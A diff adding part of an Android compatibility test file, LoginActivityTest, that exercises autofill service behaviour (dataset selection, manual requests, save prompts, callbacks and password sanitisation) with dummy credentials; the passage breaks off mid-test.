+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_CLASS;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_PACKAGE;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.isConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.content.Context.CLIPBOARD_SERVICE;
+import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+import static android.text.InputType.TYPE_NULL;
+import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+import static android.view.WindowManager.LayoutParams.FLAG_SECURE;
+
+import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
+import static com.android.compatibility.common.util.ShellUtils.tap;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.DummyActivity;
+import android.autofillservice.cts.activities.EmptyActivity;
+import android.autofillservice.cts.commontests.LoginActivityCommonTestCase;
+import android.autofillservice.cts.testcore.BadAutofillService;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.DismissType;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.NoOpAutofillService;
+import android.autofillservice.cts.testcore.OneTimeCancellationSignalListener;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.content.BroadcastReceiver;
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.View;
+import android.view.View.AccessibilityDelegate;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.autofill.AutofillManager;
+import android.widget.EditText;
+import android.widget.RemoteViews;
+
+import androidx.test.filters.FlakyTest;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public class LoginActivityTest extends LoginActivityCommonTestCase {
+
+    private static final String TAG = "LoginActivityTest";
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillAutomaticallyAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, in a field that was added after the first request
+        final EditText child = new EditText(mActivity);
+        child.setId(R.id.empty);
+        mActivity.addChild(child);
+        final OneTimeTextWatcher watcher = new OneTimeTextWatcher("child", child,
+                "new view on the block");
+        child.addTextChangedListener(watcher);
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setField(ID_EMPTY, "new view on the block")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.syncRunOnUiThread(() -> child.requestFocus());
+
+        sReplier.getNextFillRequest();
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        watcher.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillManuallyAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, forcing it
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillManuallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        // NOTE: must be on password, as saveOnlyTest() will trigger on username
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+
+        // Try again, forcing it
+        saveOnlyTest(/* manually= */ true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillAutomaticallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, in a field that was added after the first request
+        final EditText child = new EditText(mActivity);
+        child.setId(R.id.empty);
+        mActivity.addChild(child);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        ID_USERNAME,
+                        ID_PASSWORD,
+                        ID_EMPTY)
+                .build());
+        mActivity.syncRunOnUiThread(() -> child.requestFocus());
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        mActivity.runOnUiThread(() -> child.setText("NOT MR.M"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+        assertThat(saveRequest.datasetIds).isNull();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "malkovich");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(password, "malkovich");
+        final ViewNode childNode = findNodeByResourceId(saveRequest.structure, ID_EMPTY);
+        assertTextAndValue(childNode, "NOT MR.M");
+    }
+
+    /**
+     * More detailed test of what should happen after a service returns a {@code null} FillResponse:
+     * views that have already been visit should not trigger a new session, unless a manual autofill
+     * workflow was requested.
+     */
+    @Test
+    @AppModeFull(reason = "testAutoFillNoDatasets() is enough")
+    public void testMultipleIterationsAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger autofill on username - should call service
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        waitUntilDisconnected();
+
+        // Every other call should be ignored
+        mActivity.onPassword(View::requestFocus);
+        mActivity.onUsername(View::requestFocus);
+        mActivity.onPassword(View::requestFocus);
+
+        // Trigger autofill by manually requesting username - should call service
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.forceAutofillOnUsername();
+        final FillRequest manualRequest1 = sReplier.getNextFillRequest();
+        assertHasFlags(manualRequest1.flags, FLAG_MANUAL_REQUEST);
+        waitUntilDisconnected();
+
+        // Trigger autofill by manually requesting password - should call service
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.forceAutofillOnPassword();
+        final FillRequest manualRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(manualRequest2.flags, FLAG_MANUAL_REQUEST);
+        waitUntilDisconnected();
+    }
+
+    @FlakyTest(bugId = 162372863)
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyAlwaysCallServiceAgain() throws Exception {
+        // Set service.
+        enableService();
+
+        // First request
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.onUsername(View::requestFocus);
+        // Waits for the fill request to be sent to the autofill service
+        mUiBot.waitForIdleSync();
+
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Second request
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+
+        mUiBot.waitForWindowChange(() -> mActivity.forceAutofillOnUsername());
+
+        final FillRequest secondRequest = sReplier.getNextFillRequest();
+        assertHasFlags(secondRequest.flags, FLAG_MANUAL_REQUEST);
+        mUiBot.assertDatasets("THE DUDE");
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDataset() throws Exception {
+        autofillOneDatasetTest(BorderType.NONE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
+    public void testAutoFillOneDataset_withHeader() throws Exception {
+        autofillOneDatasetTest(BorderType.HEADER_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
+    public void testAutoFillOneDataset_withFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.FOOTER_ONLY);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.BOTH);
+    }
+
+    private enum BorderType {
+        NONE,
+        HEADER_ONLY,
+        FOOTER_ONLY,
+        BOTH
+    }
+
+    private void autofillOneDatasetTest(BorderType borderType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        String expectedHeader = null, expectedFooter = null;
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
+            expectedHeader = "Head";
+            builder.setHeader(createPresentation(expectedHeader));
+        }
+        if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
+            expectedFooter = "Tails";
+            builder.setFooter(createPresentation(expectedFooter));
+        }
+        sReplier.addResponse(builder.build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Dynamically set password to make sure it's sanitized.
+        mActivity.onPassword((v) -> v.setText("I AM GROOT"));
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Auto-fill it.
+        final UiObject2 picker = mUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
+                "The Dude");
+
+        mUiBot.selectDataset(picker, "The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Validation checks.
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
+        assertTextIsSanitized(request.structure, ID_PASSWORD);
+        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
+        assertThat(fillContext.getFocusedId())
+                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(
+                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(
+                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
+    }
+
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillAgainAfterOnFailure() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(FAIL);
+
+        // Trigger autofill.
+        requestFocusOnUsernameNoWindowChange();
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill.
+        clearFocus();
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mActivity.expectAutoFill("dude", "sweet");
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetPickerPosition() throws Exception {
+        final boolean pickerAndViewBoundsMatches = !isAutofillWindowFullScreen(mContext);
+
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                        .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill on username
+        final Rect usernameBoundaries1 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
+        sReplier.getNextFillRequest();
+        callback.assertUiShownEvent(username);
+        final Rect usernamePickerBoundaries1 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
+        Log.v(TAG,
+                "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
+        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
+        if (pickerAndViewBoundsMatches) {
+            if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
+                assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
+            } else {
+                assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+            }
+
+            assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
+        }
+
+        // Move to password
+        final Rect passwordBoundaries1 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        final Rect passwordPickerBoundaries1 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
+        Log.v(TAG,
+                "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
+        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
+        if (pickerAndViewBoundsMatches) {
+            if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
+                assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
+            } else {
+                assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+            }
+            assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
+        }
+
+        // Then back to username
+        final Rect usernameBoundaries2 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+        final Rect usernamePickerBoundaries2 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
+        Log.v(TAG,
+                "Username2 at " + usernameBoundaries2 + "; picker at " + usernamePickerBoundaries2);
+
+        // And back to the password again..
+        final Rect passwordBoundaries2 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        final Rect passwordPickerBoundaries2 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
+        Log.v(TAG,
+                "Password2 at " + passwordBoundaries2 + "; picker at " + passwordPickerBoundaries2);
+
+        // Assert final state matches initial...
+        // ... for username
+        assertWithMessage("Username2 at %s; Username1 at %s", usernameBoundaries2,
+                usernamePickerBoundaries1).that(usernameBoundaries2).isEqualTo(usernameBoundaries1);
+        assertWithMessage("Username2 picker at %s; Username1 picker at %s",
+                usernamePickerBoundaries2, usernamePickerBoundaries1).that(
+                usernamePickerBoundaries2).isEqualTo(usernamePickerBoundaries1);
+
+        // ... for password
+        assertWithMessage("Password2 at %s; Password1 at %s", passwordBoundaries2,
+                passwordBoundaries1).that(passwordBoundaries2).isEqualTo(passwordBoundaries1);
+        assertWithMessage("Password2 picker at %s; Password1 picker at %s",
+                passwordPickerBoundaries2, passwordPickerBoundaries1).that(
+                passwordPickerBoundaries2).isEqualTo(passwordPickerBoundaries1);
+
+        // Final validation check
+        callback.assertNumberUnhandledEvents(0);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillTwoDatasetsSameNumberOfFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available...
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // ... on all fields.
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsAll() throws Exception {
+        autoFillTwoDatasetsUnevenNumberOfFieldsTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsOne() throws Exception {
+        autoFillTwoDatasetsUnevenNumberOfFieldsTest(false);
+    }
+
+    private void autoFillTwoDatasetsUnevenNumberOfFieldsTest(boolean fillsAll) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        if (fillsAll) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("DUDE");
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available on username...
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // ... but just one for password
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+        if (fillsAll) {
+            mUiBot.selectDataset("The Dude");
+        } else {
+            mUiBot.selectDataset("THE DUDE");
+        }
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .build())
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available...
+        mUiBot.assertDatasets("The Dude");
+
+        // ... on all fields.
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
+        mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
+            @Override
+            public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
+                return new AccessibilityNodeProvider() {
+                    @Override
+                    public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
+                        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+                        if (virtualViewId == View.NO_ID) {
+                            info.addChild(v, 108);
+                        }
+                        return info;
+                    }
+                };
+            }
+        }));
+
+        testAutoFillOneDataset();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndMoveFocusAround() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure tapping on other fields from the dataset does not trigger it again
+        requestFocusOnPassword();
+        sReplier.assertNoUnhandledFillRequests();
+
+        requestFocusOnUsername();
+        sReplier.assertNoUnhandledFillRequests();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Make sure tapping on other fields from the dataset does not trigger it again
+        requestFocusOnPassword();
+        mUiBot.assertNoDatasets();
+        requestFocusOnUsernameNoWindowChange();
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testUiNotShownAfterAutofilled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Make sure tapping on autofilled field does not trigger it again
+        requestFocusOnPassword();
+        mUiBot.assertNoDatasets();
+
+        requestFocusOnUsernameNoWindowChange();
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillTapOutside() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("The Dude");
+
+        // tapping outside autofill window should close it and raise ui hidden event
+        mUiBot.waitForWindowChange(() -> tap(mActivity.getUsernameLabel()));
+        callback.assertUiHiddenEvent(username);
+
+        mUiBot.assertNoDatasets();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillCallbacks() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        callback.assertUiShownEvent(username);
+
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+
+        // Unregister callback to make sure no more events are received
+        mActivity.unregisterCallback();
+        requestFocusOnUsername();
+        // Blindly sleep - we cannot wait on any event as none should have been sent
+        SystemClock.sleep(MyAutofillCallback.MY_TIMEOUT.ms());
+        callback.assertNumberUnhandledEvents(0);
+
+        // Autofill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackDisabled() throws Exception {
+        // Set service.
+        disableService();
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert callback was called
+        final View username = mActivity.getUsername();
+        callback.assertUiUnavailableEvent(username);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasets() throws Exception {
+        callbackUnavailableTest(NO_RESPONSE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Exception {
+        callbackUnavailableTest(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+    }
+
+    private void callbackUnavailableTest(CannedFillResponse response) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(response);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Assert callback was called
+        final View username = mActivity.getUsername();
+        callback.assertUiUnavailableEvent(username);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setId("I'm the alpha and the omega")
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
